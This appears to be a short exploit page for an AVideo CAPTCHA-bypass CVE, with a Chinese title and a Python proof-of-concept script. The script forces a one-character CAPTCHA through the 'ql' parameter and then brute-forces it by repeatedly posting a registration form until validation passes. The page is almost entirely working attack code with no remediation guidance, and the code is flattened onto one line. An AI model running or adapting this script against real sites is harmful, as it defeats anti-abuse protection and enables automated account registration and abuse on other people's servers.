CVE-2026-40935 WWBN AVideo验证码绕过漏洞

import requests # Target URL example target_url = "http://example.com/objects/getCaptcha.php" register_url = "http://example.com/register" # Characters to bruteforce (approx 33 chars based on description) charset = "abcdefghijklmnopqrstuvwxyz0123456789" # Step 1: Force 1-character CAPTCHA generation # The vulnerability allows setting 'ql' (length) to 1 params = {'ql': 1} session = requests.Session() # Fetch the CAPTCHA image (or session setup) response = session.get(target_url, params=params) print(f"CAPTCHA Request URL: {response.url}") # Step 2: Bruteforce the CAPTCHA # Since validation is case-insensitive and length is 1, complexity is ~33 for char in charset: # Payload for registration/recovery endpoint data = { 'user': 'attacker', 'pass': 'password123', 'captcha': char } # Submit the form post_resp = session.post(register_url, data=data) # Check if CAPTCHA validation passed (Logic depends on app response) if "Invalid captcha" not in post_resp.text: print(f"[+] Success! CAPTCHA is: {char}") print(f"[+] Response: {post_resp.text}") break else: print("[-] Failed to bruteforce CAPTCHA")